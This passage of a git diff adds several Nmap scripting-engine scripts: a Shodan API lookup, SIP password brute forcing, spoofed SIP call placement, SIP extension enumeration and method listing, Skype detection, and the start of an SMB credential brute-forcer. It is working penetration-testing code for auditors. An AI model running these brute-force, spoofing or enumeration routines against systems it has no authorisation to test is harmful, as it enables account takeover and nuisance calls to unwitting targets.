+ end
+
+ return true, svctags
+end
+
+function get_svctag(host, port, svctag)
+ local socket = nmap.new_socket()
+ local status, err, response
+ socket:set_timeout(5000)
+
+ status, err = socket:connect(host.ip, port, "tcp")
+ if not status then
+ return nil, err
+ end
+ status, err = socket:send("GET " .. svctag .. " HTTP/1.0\r\n")
+ if not status then
+ socket:close()
+ return nil, err
+ end
+ status, response = socket:receive_buf(match.pattern_limit("</st1:response>", 2048), true)
+ if not status then
+ socket:close()
+ return nil, response
+ end
+
+ socket:close()
+
+ local tag = {}
+ for elem, contents in string.gmatch(response, "<([^>]+)>([^<]-)</%1>") do
+ if elem == "product_name" then
+ tag['name'] = contents
+ end
+ if XML_TO_TEXT[elem] then
+ table.insert(tag,
+ string.format("%s: %s", XML_TO_TEXT[elem], contents))
+ end
+ end
+
+ return true, tag
+end
diff --git a/scripts/shodan-api.nse b/scripts/shodan-api.nse
new file mode 100644
index 0000000..8dab229
--- /dev/null
+++ b/scripts/shodan-api.nse
@@ -0,0 +1,223 @@
+local http = require "http"
+local io = require "io"
+local ipOps = require "ipOps"
+local json = require "json"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local tab = require "tab"
+local table = require "table"
+local openssl = stdnse.silent_require "openssl"
+
+
+-- Set your Shodan API key here to avoid typing it in every time:
+local apiKey = ""
+
+author = "Glenn Wilkinson <glenn@sensepost.com> (idea: Charl van der Walt <charl@sensepost.com>)"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe", "external"}
+
+description = [[
+Queries Shodan API for given targets and produces similar output to
+a -sV nmap scan. The ShodanAPI key can be set with the 'apikey' script
+argument, or hardcoded in the .nse file itself. You can get a free key from
+https://developer.shodan.io
+
+N.B if you want this script to run completely passively make sure to
+include the -sn -Pn -n flags.
+]]
+
+---
+-- @usage
+-- nmap --script shodan-api x.y.z.0/24 -sn -Pn -n --script-args 'shodan-api.outfile=potato.csv,shodan-api.apikey=SHODANAPIKEY'
+-- nmap --script shodan-api --script-args 'shodan-api.target=x.y.z.a,shodan-api.apikey=SHODANAPIKEY'
+--
+-- @output
+-- | shodan-api: Report for 2600:3c01::f03c:91ff:fe18:bb2f (scanme.nmap.org)
+-- | PORT PROTO PRODUCT VERSION
+-- | 80 tcp Apache httpd
+-- | 3306 tcp MySQL 5.5.40-0+wheezy1
+-- | 22 tcp OpenSSH 6.0p1 Debian 4+deb7u2
+-- |_443 tcp
+--
+--@args shodan-api.outfile Write the results to the specified CSV file
+--@args shodan-api.apikey Specify the ShodanAPI key. This can also be hardcoded in the nse file.
+--@args shodan-api.target Specify a single target to be scanned.
+--
+--@xmloutput
+-- <table key="hostnames">
+-- <elem>scanme.nmap.org</elem>
+-- </table>
+-- <table key="ports">
+-- <table>
+-- <elem key="protocol">tcp</elem>
+-- <elem key="number">22</elem>
+-- </table>
+-- <table>
+-- <elem key="version">2.4.7</elem>
+-- <elem key="product">Apache httpd</elem>
+-- <elem key="protocol">tcp</elem>
+-- <elem key="number">80</elem>
+-- </table>
+-- </table>
+
+-- ToDo: * Have an option to complement non-banner scans with shodan data (e.g. -sS scan, but
+-- grab service info from Shodan
+-- * Have script arg to include extra host info. e.g. Coutry/city of IP, datetime of
+-- scan, verbose port output (e.g. smb share info)
+-- * Warn user if they haven't set -sn -Pn and -n (and will therefore actually scan the host
+-- * Accept IP ranges via the script argument 'target' parameter
+
+
+-- Begin
+if not nmap.registry[SCRIPT_NAME] then
+ nmap.registry[SCRIPT_NAME] = {
+ apiKey = stdnse.get_script_args(SCRIPT_NAME .. ".apikey") or apiKey,
+ count = 0
+ }
+end
+local registry = nmap.registry[SCRIPT_NAME]
+local outFile = stdnse.get_script_args(SCRIPT_NAME .. ".outfile")
+local arg_target = stdnse.get_script_args(SCRIPT_NAME .. ".target")
+
+local function lookup_target (target)
+ local response = http.get("api.shodan.io", 443, "/shodan/host/".. target .."?key=" .. registry.apiKey, {any_af = true})
+ if response.status == 404 then
+ stdnse.debug1("Host not found: %s", target)
+ return nil
+ elseif (response.status ~= 200) then
+ stdnse.debug1("Bad response from Shodan for IP %s : %s", target, response.status)
+ return nil
+ end
+
+ local stat, resp = json.parse(response.body)
+ if not stat then
+ stdnse.debug1("Error parsing Shodan response: %s", resp)
+ return nil
+ end
+
+ return resp
+end
+
+local function format_output(resp)
+ if resp.error then
+ return resp.error
+ end
+
+ if resp.data then
+ registry.count = registry.count + 1
+ local out = { hostnames = resp.hostnames, ports = {} }
+ local ports = out.ports
+ local tab_out = tab.new()
+ tab.addrow(tab_out, "PORT", "PROTO", "PRODUCT", "VERSION")
+
+ for key, e in ipairs(resp.data) do
+ ports[#ports+1] = {
+ number = e.port,
+ protocol = e.transport,
+ product = e.product,
+ version = e.version,
+ }
+ tab.addrow(tab_out, e.port, e.transport, e.product or "", e.version or "")
+ end
+ return out, tab.dump(tab_out)
+ else
+ return "Unable to query data"
+ end
+end
+
+prerule = function ()
+ if (outFile ~= nil) then
+ local file = io.open(outFile, "w")
+ io.output(file)
+ io.write("IP,Port,Proto,Product,Version\n")
+ end
+
+ if registry.apiKey == "" then
+ registry.apiKey = nil
+ end
+
+ if not registry.apiKey then
+ stdnse.verbose1("Error: Please specify your ShodanAPI key with the %s.apikey argument", SCRIPT_NAME)
+ return false
+ end
+
+ local response = http.get("api.shodan.io", 443, "/api-info?key=" .. registry.apiKey, {any_af=true})
+ if (response.status ~= 200) then
+ stdnse.verbose1("Error: Your ShodanAPI key (%s) is invalid", registry.apiKey)
+ -- Prevent further stages from running
+ registry.apiKey = nil
+ return false
+ end
+
+ if arg_target then
+ local is_ip, err = ipOps.expand_ip(arg_target)
+ if not is_ip then
+ stdnse.verbose1("Error: %s.target must be an IP address", SCRIPT_NAME)
+ return false
+ end
+ return true
+ end
+end
+
+generic_action = function(ip)
+ local resp = lookup_target(ip)
+ if not resp then return nil end
+ local out, tabular = format_output(resp)
+ if type(out) == "string" then
+ -- some kind of error
+ return out
+ end
+ local result = string.format(
+ "Report for %s (%s)\n%s",
+ ip,
+ table.concat(out.hostnames, ", "),
+ tabular
+ )
+ if (outFile ~= nil) then
+ for _, port in ipairs(out.ports) do
+ io.write( string.format("%s,%s,%s,%s,%s\n",
+ ip, port.number, port.protocol, port.product or "", port.version or "")
+ )
+ end
+ end
+ return out, result
+end
+
+preaction = function()
+ return generic_action(arg_target)
+end
+
+hostrule = function(host)
+ return registry.apiKey and not ipOps.isPrivate(host.ip)
+end
+
+hostaction = function(host)
+ return generic_action(host.ip)
+end
+
+postrule = function ()
+ return registry.apiKey
+end
+
+postaction = function ()
+ local out = { "Shodan done: ", registry.count, " hosts up." }
+ if outFile then
+ io.close()
+ out[#out+1] = "\nWrote Shodan output to: "
+ out[#out+1] = outFile
+ end
+ return table.concat(out)
+end
+
+local ActionsTable = {
+ -- prerule: scan target from script-args
+ prerule = preaction,
+ -- hostrule: look up a host in Shodan
+ hostrule = hostaction,
+ -- postrule: report results
+ postrule = postaction
+}
+
+-- execute the action function corresponding to the current rule
+action = function(...) return ActionsTable[SCRIPT_TYPE](...) end
diff --git a/scripts/sip-brute.nse b/scripts/sip-brute.nse
new file mode 100644
index 0000000..74f934a
--- /dev/null
+++ b/scripts/sip-brute.nse
@@ -0,0 +1,111 @@
+local brute = require "brute"
+local creds = require "creds"
+local math = require "math"
+local shortport = require "shortport"
+local sip = require "sip"
+local stdnse = require "stdnse"
+
+description = [[
+Performs brute force password auditing against Session Initiation Protocol
+(SIP) accounts. This protocol is most commonly associated with VoIP sessions.
+]]
+
+---
+-- @usage
+-- nmap -sU -p 5060 <target> --script=sip-brute
+--
+-- PORT STATE SERVICE
+-- 5060/udp open|filtered sip
+-- | sip-brute:
+-- | Accounts
+-- | 1000:password123 => Valid credentials
+-- | Statistics
+-- |_ Performed 5010 guesses in 3 seconds, average tps: 1670
+
+-- Version 0.1
+-- Created 04/03/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.port_or_service(5060, "sip", {"tcp", "udp"})
+
+Driver = {
+
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ return o
+ end,
+
+ connect = function( self )
+ self.helper = sip.Helper:new(self.host, self.port, { expires = 0 })
+ local status, err = self.helper:connect()
+ if ( not(status) ) then
+ return "ERROR: Failed to connect to SIP server"
+ end
+ return true
+ end,
+
+ login = function( self, username, password )
+ self.helper:setCredentials(username, password)
+ local status, err = self.helper:register()
+ if ( not(status) ) then
+ -- The 3CX System has an anti-hacking option that triggers after
+ -- a certain amount of guesses. This protection basically prevents
+ -- any connection from the offending IP at an application level.
+ if ( err:match("^403 Forbidden") ) then
+ local err = brute.Error:new("The systems seems to have blocked our IP")
+ err:setAbort( true )
+ return false, err
+ end
+ return false, brute.Error:new( "Incorrect password" )
+ end
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end,
+
+ disconnect = function(self) return self.helper:close() end,
+}
+
+-- Function used to check if we can distinguish existing from non-existing
+-- accounts. In order to do so we send a semi-random username and password
+-- and interpret the response. Some servers will respond as if the login
+-- was successful which makes it impossible to tell successful logins
+-- from non-existing accounts apart.
+local function checkBadUser(host, port)
+ local user = "baduser-" .. math.random(10000)
+ local pass = "badpass-" .. math.random(10000)
+ local helper = sip.Helper:new(host, port, { expires = 0 })
+
+ stdnse.debug2("Checking bad user: %s/%s", user, pass)
+ local status, err = helper:connect()
+ if ( not(status) ) then return false, "ERROR: Failed to connect" end
+
+ helper:setCredentials(user, pass)
+ local status, err = helper:register()
+ helper:close()
+ return status, err
+end
+
+action = function(host, port)
+ local force = stdnse.get_script_args("sip-brute.force")
+
+ if ( not(force) ) then
+ local status = checkBadUser(host, port)
+ if ( status ) then
+ return "\nERROR: Cannot detect non-existing user accounts, this will result in:\n" ..
+ " * Non-existing accounts being detected as found\n" ..
+ " * Passwords for existing accounts being correctly detected\n\n" ..
+ "Supply the sip-brute.force argument to override"
+ end
+ end
+ local engine = brute.Engine:new(Driver, host, port)
+ engine.options.script_name = SCRIPT_NAME
+ local status, result = engine:start()
+ return result
+end
diff --git a/scripts/sip-call-spoof.nse b/scripts/sip-call-spoof.nse
new file mode 100644
index 0000000..67524b6
--- /dev/null
+++ b/scripts/sip-call-spoof.nse
@@ -0,0 +1,170 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local sip = require "sip"
+local stdnse = require "stdnse"
+
+description = [[
+Spoofs a call to a SIP phone and detects the action taken by the target (busy, declined, hung up, etc.)
+
+This works by sending a fake sip invite request to the target phone and checking
+the responses. A response with status code 180 means that the phone is ringing.
+The script waits for the next responses until timeout is reached or a special
+response is received. Special responses include: Busy (486), Decline (603),
+Timeout (408) or Hang up (200).
+]]
+
+---
+--@args sip-call-spoof.ua Source application's user agent. Defaults to
+-- <code>Ekiga</code>.
+--
+--@args sip-call-spoof.from Caller user ID. Defaults to <code>Home</code>.
+--
+--@args sip-call-spoof.extension SIP Extension to send request from. Defaults to
+-- <code>100</code>.
+--
+--@args sip-call-spoof.src Source address to spoof.
+--
+--@args sip-call-spoof.timeout Time to wait for a response. Defaults to
+-- <code>5s</code>
+--
+-- @usage
+-- nmap --script=sip-call-spoof -sU -p 5060 <targets>
+-- nmap --script=sip-call-spoof -sU -p 5060 --script-args
+-- 'sip-call-spoof.ua=Nmap, sip-call-spoof.from=Boss' <targets>
+--
+--@output
+-- 5060/udp open sip
+-- | sip-call-spoof:
+-- |_ Target hung up. (After 10.9 seconds)
+
+
+author = "Hani Benhabiles"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery", "intrusive"}
+
+
+portrule = shortport.port_or_service(5060, "sip", {"tcp", "udp"})
+
+
+--- Function that sends an invite request with given parameters.
+-- @arg session SIP Session to use.
+-- @arg ua User Agent to use.
+-- @arg from SIP From field.
+-- @arg src Request source address to spoof.
+-- @arg extension Request SIP extension.
+-- @return status True if we got a response, false else.
+-- @return resp Response table if status is true, error string else.
+local sendinvite = function(session, ua, from, src, extension)
+ local request = sip.Request:new(sip.Method.INVITE)
+
+ request:setUri("sip:" .. session.sessdata:getServer())
+ request:setUA(ua)
+ if src then
+ session.sessdata:setDomain(src)
+ end
+ session.sessdata:setUsername(extension)
+ session.sessdata:setName(from)
+ request:setSessionData(session.sessdata)
+
+ return session:exch(request)
+end
+
+--- Function that waits for certain responses for an amount of time.
+-- @arg session SIP Session to use.
+-- @arg timeout Max time to wait for responses other than ringing.
+-- @return ringing True if we got a ringing response, false else.
+-- @return responsecode Code for the latest meaningful response.
+-- could be 180, 200, 486, 408 or 603
+local waitresponses = function(session,timeout)
+ local response, status, data, responsecode, ringing, waittime
+ local start = nmap.clock_ms()
+
+ while (nmap.clock_ms() - start) < timeout do
+ status, data = session.conn:recv()
+ if status then
+ response = sip.Response:new(data)
+ responsecode = response:getErrorCode()
+ waittime = nmap.clock_ms() - start
+ if responsecode == sip.Error.RING then
+ ringing = true
+ elseif responsecode == sip.Error.BUSY then
+ return ringing, sip.Error.BUSY
+ elseif responsecode == sip.Error.DECLINE then
+ return ringing, sip.Error.DECLINE, waittime
+ elseif responsecode == sip.Error.OK then
+ return ringing, sip.Error.OK, waittime
+ elseif responsecode == sip.Error.TIMEOUT then
+ return ringing, sip.Error.OK
+ end
+ end
+ end
+ if ringing then
+ return ringing, sip.Error.RING
+ end
+end
+
+--- Function that spoofs an invite request and listens for responses.
+-- @arg session SIP Session to use.
+-- @arg ua User Agent to use.
+-- @arg from SIP From field.
+-- @arg src Request source address to spoof.
+-- @arg extension Request SIP extension.
+-- @arg timeout Max time to wait for responses other than ringing.
+-- @return ringing True if we got a ringing response, false else.
+-- @return responsecode Code for the latest meaningful response.
+-- could be 180, 200, 486, 408 or 603
+local invitespoof = function(session, ua, from, src, extension, timeout)
+
+ local status, response = sendinvite(session, ua, from, src, extension)
+ -- check if we got a 100 Trying response.
+ if status and response:getErrorCode() == 100 then
+ -- wait for responses
+ return waitresponses(session, timeout)
+ end
+end
+
+action = function(host, port)
+ local status, session
+
+ local ua = stdnse.get_script_args(SCRIPT_NAME .. ".ua") or "Ekiga"
+ local from = stdnse.get_script_args(SCRIPT_NAME .. ".from") or "Home"
+ local src = stdnse.get_script_args(SCRIPT_NAME .. ".src")
+ local extension = stdnse.get_script_args(SCRIPT_NAME .. ".extension") or 100
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+
+ -- Default timeout value = 5 seconds.
+ timeout = (timeout or 5) * 1000
+
+ session = sip.Session:new(host, port)
+ status = session:connect()
+ if not status then
+ return stdnse.format_output(false, "Failed to connect to the SIP server.")
+ end
+
+ local ringing, result, waittime = invitespoof(session, ua, from, src, extension, timeout)
+ -- If we get a response, we set the port to open.
+ if result then
+ if nmap.get_port_state(host, port) ~= "open" then
+ nmap.set_port_state(host, port, "open")
+ end
+ end
+
+ -- We check for ringing to skip false positives.
+ if ringing then
+ if result == sip.Error.BUSY then
+ return stdnse.format_output(true, "Target line is busy.")
+ elseif result == sip.Error.DECLINE then
+ return stdnse.format_output(true, ("Target declined the call. (After %.1f seconds)"):format(waittime / 1000))
+ elseif result == sip.Error.OK then
+ return stdnse.format_output(true, ("Target hung up. (After %.1f seconds)"):format(waittime / 1000))
+ elseif result == sip.Error.TIMEOUT then
+ return stdnse.format_output(true, "Ringing, no answer.")
+ elseif result == sip.Error.RING then
+ return stdnse.format_output(true, "Ringing, got no answer. (script timeout)")
+ end
+ else
+ stdnse.debug1("Target phone didn't ring.")
+ end
+end
diff --git a/scripts/sip-enum-users.nse b/scripts/sip-enum-users.nse
new file mode 100644
index 0000000..04faad9
--- /dev/null
+++ b/scripts/sip-enum-users.nse
@@ -0,0 +1,266 @@
+local io = require "io"
+local nmap = require "nmap"
+local string = require "string"
+local shortport = require "shortport"
+local sip = require "sip"
+local stdnse = require "stdnse"
+local math = require "math"
+local brute = require "brute"
+local creds = require "creds"
+local unpwdb = require "unpwdb"
+
+description = [[
+Enumerates a SIP server's valid extensions (users).
+
+The script works by sending REGISTER SIP requests to the server with the
+specified extension and checking for the response status code in order
+to know if an extension is valid. If a response status code is 401 or
+407, it means that the extension is valid and requires authentication. If the
+response status code is 200, it means that the extension exists and doesn't
+require any authentication while a 403 response status code means that
+extension exists but access is forbidden. To skip false positives, the script
+begins by sending a REGISTER request for a random extension and checking for
+response status code.
+]]
+
+---
+--@args sip-enum-users.minext Extension value to start enumeration from.
+-- Defaults to <code>0</code>.
+--
+--@args sip-enum-users.maxext Extension value to end enumeration at.
+-- Defaults to <code>999</code>.
+--
+--@args sip-enum-users.padding Number of digits to pad zeroes up to.
+-- Defaults to <code>0</code>. No padding if this is set to zero.
+--
+--@args sip-enum-users.users If set, will also enumerate users
+-- from <code>userslist</code> file.
+--
+--@args sip-enum-users.userslist Path to list of users.
+-- Defaults to <code>nselib/data/usernames.lst</code>.
+--
+--@usage
+-- nmap --script=sip-enum-users -sU -p 5060 <targets>
+--
+-- nmap --script=sip-enum-users -sU -p 5060 <targets> --script-args
+-- 'sip-enum-users.padding=4, sip-enum-users.minext=1000,
+-- sip-enum-users.maxext=9999'
+--
+--@output
+-- 5060/udp open sip
+-- | sip-enum-users:
+-- | Accounts
+-- | 101: Auth required
+-- | 120: No auth
+-- | Statistics
+-- |_ Performed 1000 guesses in 50 seconds, average tps: 20
+
+
+author = "Hani Benhabiles"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"auth", "intrusive"}
+
+
+portrule = shortport.port_or_service(5060, "sip", {"tcp", "udp"})
+
+--- Function that sends register sip request with provided extension
+-- using the specified session.
+-- @arg sess session to use.
+-- @arg ext Extension to send register request to.
+-- @return status true on success, false on failure.
+-- @return Response instance on success, error string on failure.
+local registerext = function(sess, ext)
+ -- set session values
+ local request = sip.Request:new(sip.Method.REGISTER)
+
+ request:setUri("sip:" .. sess.sessdata:getServer())
+ sess.sessdata:setUsername(ext)
+ request:setSessionData(sess.sessdata)
+
+ return sess:exch(request)
+end
+
+--- Function that returns a number as string with a number of zeroes padded to
+-- the left.
+-- @arg num Number to be padded.
+-- @arg padding number of digits to pad up to.
+-- @return string of padded number.
+local padnum = function(num, padding)
+ -- How many zeroes do we need to add
+ local n = #tostring(num)
+ if n >= padding then
+ return tostring(num)
+ end
+ n = padding - n
+
+ return string.rep(tostring(0), n) .. tostring(num)
+end
+
+--- Iterator function that returns values from a lower value up to a greater
+-- value with zeroes padded up to padding argument.
+-- @arg minval Start value.
+-- @arg maxval End value.
+-- @arg padding number of digits to pad up to.
+-- @return string current value.
+local numiterator = function(minval, maxval, padding)
+ local i = minval - 1
+ return function()
+ i = i + 1
+ if i <= maxval then return padnum(i, padding), '' end
+ end
+end
+
+--- Iterator function that returns lines from a file
+-- @arg userslist Path to file list in data location.
+-- @return status false if error.
+-- @return string current line.
+local useriterator = function(list)
+ local f = nmap.fetchfile(list) or list
+ if not f then
+ return false, ("Couldn't find %s"):format(list)
+ end
+ f = io.open(f)
+ if ( not(f) ) then
+ return false, ("Failed to open %s"):format(list)
+ end
+ return function()
+ for line in f:lines() do
+ return line
+ end
+ end
+end
+
+--- function that tests for 404 status code when sending a REGISTER request
+-- with a random sip extension.
+-- @arg host Target host table.
+-- @arg port Target port table.
+local test404 = function(host, port)
+ local session, status, randext, response
+ -- Random extension
+ randext = math.random(1234567,987654321)
+
+ session = sip.Session:new(host, port)
+ status = session:connect()
+ if not status then
+ return false, "Failed to connect to the SIP server."
+ end
+
+ status, response = registerext(session, randext)
+ if not status then
+ return false, "No response from the SIP server."
+ end
+ if response:getErrorCode() ~= 404 then
+ return false, "Server not returning 404 for random extension."
+ end
+ return true
+
+end
+
+Driver = {
+
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ return o
+ end,
+
+ connect = function( self )
+ self.session = sip.Session:new(self.host, self.port)
+ local status = self.session:connect()
+ if ( not(status) ) then
+ return false, brute.Error:new( "Couldn't connect to host" )
+ end
+ return true
+ end,
+
+ login = function( self, username, password)
+ -- We are using the "password" values instead of the "username" so we
+ -- could benefit from brute.lua passonly option and setPasswordIterator
+ -- function, as we are doing usernames enumeration only and not
+ -- credentials brute forcing.
+ local status, response, responsecode
+ -- Send REGISTER request for each extension
+ status, response = registerext(self.session, password)
+ if status then
+ responsecode = response:getErrorCode()
+ -- If response status code is 401 or 407, then extension exists but
+ -- requires authentication
+ if responsecode == sip.Error.UNAUTHORIZED or
+ responsecode == sip.Error.PROXY_AUTH_REQUIRED then
+ return true, creds.Account:new(password, " Auth required", '')
+
+ -- If response status code is 200, then extension exists
+ -- and requires no authentication
+ elseif responsecode == sip.Error.OK then
+ return true, creds.Account:new(password, " No auth", '')
+ -- If response status code is 200, then extension exists
+ -- but access is forbidden.
+
+ elseif responsecode == sip.Error.FORBIDDEN then
+ return true, creds.Account:new(password, " Forbidden", '')
+ end
+ return false,brute.Error:new( "Not found" )
+ else
+ return false,brute.Error:new( "No response" )
+ end
+ end,
+
+ disconnect = function(self)
+ self.session:close()
+ return true
+ end,
+}
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+ local result, lthreads = {}, {}
+ local status, err
+ local minext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".minext")) or 0
+ local minext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".minext")) or 0
+ local maxext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".maxext")) or 999
+ local padding = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".padding")) or 0
+ local users = stdnse.get_script_args(SCRIPT_NAME .. ".users")
+ local usersfile = stdnse.get_script_args(SCRIPT_NAME .. ".userslist")
+ or "nselib/data/usernames.lst"
+
+ -- min extension should be less than max extension.
+ if minext > maxext then
+ return fail("maxext should be greater or equal than minext.")
+ end
+ -- If not set to zero, number of digits to pad up to should have less or
+ -- equal the number of digits of max extension.
+ if padding ~= 0 and #tostring(maxext) > padding then
+ return fail("padding should be greater or equal to number of digits of maxext.")
+ end
+
+ -- We test for false positives by sending a request for a random extension
+ -- and checking if it did return a 404.
+ status, err = test404(host, port)
+ if not status then
+ return fail(err)
+ end
+
+ local engine = brute.Engine:new(Driver, host, port)
+ engine.options.script_name = SCRIPT_NAME
+
+ local iterator = numiterator(minext, maxext, padding)
+ if users then
+ local usernames, err = useriterator(usersfile)
+ if not usernames then
+ return fail(err)
+ end
+ -- Concat numbers and users iterators
+ iterator = unpwdb.concat_iterators(iterator, usernames)
+ end
+ engine:setPasswordIterator(iterator)
+ engine.options.passonly = true
+ status, result = engine:start()
+
+ return result
+end
diff --git a/scripts/sip-methods.nse b/scripts/sip-methods.nse
new file mode 100644
index 0000000..ec404ca
--- /dev/null
+++ b/scripts/sip-methods.nse
@@ -0,0 +1,65 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local sip = require "sip"
+local stdnse = require "stdnse"
+local stringaux = require "stringaux"
+
+description = [[
+Enumerates a SIP Server's allowed methods (INVITE, OPTIONS, SUBSCRIBE, etc.)
+
+The script works by sending an OPTION request to the server and checking for
+the value of the Allow header in the response.
+]]
+
+---
+-- @usage
+-- nmap --script=sip-methods -sU -p 5060 <targets>
+--
+--@output
+-- 5060/udp open sip
+-- | sip-methods:
+-- |_ INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO
+--
+-- @xmloutput
+-- <elem>INVITE</elem>
+-- <elem>ACK</elem>
+-- <elem>CANCEL</elem>
+-- <elem>OPTIONS</elem>
+-- <elem>BYE</elem>
+-- <elem>REFER</elem>
+-- <elem>SUBSCRIBE</elem>
+-- <elem>NOTIFY</elem>
+-- <elem>INFO</elem>
+
+
+author = "Hani Benhabiles"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "safe", "discovery"}
+
+
+portrule = shortport.port_or_service(5060, "sip", {"tcp", "udp"})
+
+action = function(host, port)
+ local status, session, response
+ session = sip.Session:new(host, port)
+ status = session:connect()
+ if not status then
+ return stdnse.format_output(false, "Failed to connect to the SIP server.")
+ end
+
+ status, response = session:options()
+ if status then
+ -- If port state not set to open, set it to open.
+ if nmap.get_port_state(host, port) ~= "open" then
+ nmap.set_port_state(host, port, "open")
+ end
+
+ -- Check if allow header exists in response
+ local allow = response:getHeader("allow")
+ if allow then
+ return stringaux.strsplit(",%s*", allow), allow
+ end
+ end
+end
diff --git a/scripts/skypev2-version.nse b/scripts/skypev2-version.nse
new file mode 100644
index 0000000..7062b41
--- /dev/null
+++ b/scripts/skypev2-version.nse
@@ -0,0 +1,80 @@
+local comm = require "comm"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local string = require "string"
+local U = require "lpeg-utility"
+
+description = [[
+Detects the Skype version 2 service.
+]]
+
+---
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 80/tcp open skype2 Skype
+
+author = "Brandon Enright"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"version"}
+
+
+portrule = function(host, port)
+ return (port.number == 80 or port.number == 443 or
+ port.service == nil or port.service == "" or
+ port.service == "unknown")
+ and port.protocol == "tcp" and port.state == "open"
+ and port.version.name_confidence < 10
+ and not(shortport.port_is_excluded(port.number,port.protocol))
+ and nmap.version_intensity() >= 7
+end
+
+action = function(host, port)
+ local result, rand
+ -- Did the service engine already do the hard work?
+ if port.version and port.version.service_fp then
+ -- Probes sent, replies received, but no match.
+ result = U.get_response(port.version.service_fp, "GetRequest")
+ -- Loop through the ASCII probes most likely to receive random response
+ -- from Skype. Others will also receive this response, but are harder to
+ -- distinguish from an echo service.
+ for _, p in ipairs({"HTTPOptions", "RTSPRequest"}) do
+ rand = U.get_response(port.version.service_fp, p)
+ if rand then
+ break
+ end
+ end
+ end
+ local status
+ if not result then
+ -- Have to send the probe ourselves.
+ status, result = comm.exchange(host, port,
+ "GET / HTTP/1.0\r\n\r\n", {bytes=26})
+
+ if (not status) then
+ return nil
+ end
+ end
+
+ if (result ~= "HTTP/1.0 404 Not Found\r\n\r\n") then
+ return
+ end
+
+ -- So far so good, now see if we get random data for another request
+ if not rand then
+ status, rand = comm.exchange(host, port,
+ "random data\r\n\r\n", {bytes=15})
+
+ if (not status) then
+ return
+ end
+ end
+
+ if string.match(rand, "[^%s!-~].*[^%s!-~].*[^%s!-~]") then
+ -- Detected
+ port.version.name = "skype2"
+ port.version.product = "Skype"
+ nmap.set_port_version(host, port)
+ return
+ end
+ return
+end
diff --git a/scripts/smb-brute.nse b/scripts/smb-brute.nse
new file mode 100644
index 0000000..4931afb
--- /dev/null
+++ b/scripts/smb-brute.nse
@@ -0,0 +1,1114 @@
+local msrpc = require "msrpc"
+local nmap = require "nmap"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local unpwdb = require "unpwdb"
+local rand = require "rand"
+
+description = [[
+Attempts to guess username/password combinations over SMB, storing discovered combinations
+for use in other scripts. Every attempt will be made to get a valid list of users and to
+verify each username before actually using them. When a username is discovered, besides
+being printed, it is also saved in the Nmap registry so other Nmap scripts can use it. That
+means that if you're going to run <code>smb-brute.nse</code>, you should run other <code>smb</code> scripts you want.
+This checks passwords in a case-insensitive way, determining case after a password is found,
+for Windows versions before Vista.
+
+This script is specifically targeted towards security auditors or penetration testers.
+One example of its use, suggested by Brandon Enright, was hooking up <code>smb-brute.nse</code> to the
+database of usernames and passwords used by the Conficker worm (the password list can be
+found at http://www.skullsecurity.org/wiki/index.php/Passwords, among other places.
+Then, the network is scanned and all systems that would be infected by Conficker are
+discovered.
+
+From the penetration tester perspective its use is pretty obvious. By discovering weak passwords
+on SMB, a protocol that's well suited for bruteforcing, access to a system can be gained.
+Further, passwords discovered against Windows with SMB might also be used on Linux or MySQL
+or custom Web applications. Discovering a password greatly beneficial for a pen-tester.
+
+This script uses a lot of little tricks that I (Ron Bowes) describe in detail in a blog
+posting, http://www.skullsecurity.org/blog/?p=164. The tricks will be summarized here, but
+that blog is the best place to learn more.
+
+Usernames and passwords are initially taken from the unpwdb library. If possible, the usernames
+are verified as existing by taking advantage of Windows' odd behaviour with invalid username
+and invalid password responses. As soon as it is able, this script will download a full list
+of usernames from the server and replace the unpw usernames with those. This enables the
+script to restrict itself to actual accounts only.
+
+When an account is discovered, it's saved in the <code>smb</code> module (which uses the Nmap
+registry). If an account is already saved, the account's privileges are checked; accounts
+with administrator privileges are kept over accounts without. The specific method for checking
+is by calling <code>GetShareInfo("IPC$")</code>, which requires administrative privileges. Once this script
+is finished (all other smb scripts depend on it, it'll run first), other scripts will use the saved account
+to perform their checks.
+
+The blank password is always tried first, followed by "special passwords" (such as the username
+and the username reversed). Once those are exhausted, the unpwdb password list is used.
+
+One major goal of this script is to avoid account lockouts. This is done in a few ways. First,
+when a lockout is detected, unless you user specifically overrides it with the <code>smblockout</code>
+argument, the scan stops. Second, all usernames are checked with the most common passwords first,
+so with not-too-strict lockouts (10 invalid attempts), the 10 most common passwords will still
+be tried. Third, one account, called the canary, "goes out ahead"; that is, three invalid
+attempts are made (by default) to ensure that it's locked out before others are.
+
+In addition to active accounts, this script will identify valid passwords for accounts that
+are disabled, guest-equivalent, and require password changes. Although these accounts can't
+be used, it's good to know that the password is valid. In other cases, it's impossible to
+tell a valid password (if an account is locked out, for example). These are displayed, too.
+Certain accounts, such as guest or some guest-equivalent, will permit any password. This
+is also detected. When possible, the SMB protocol is used to its fullest to get maximum
+information.
+
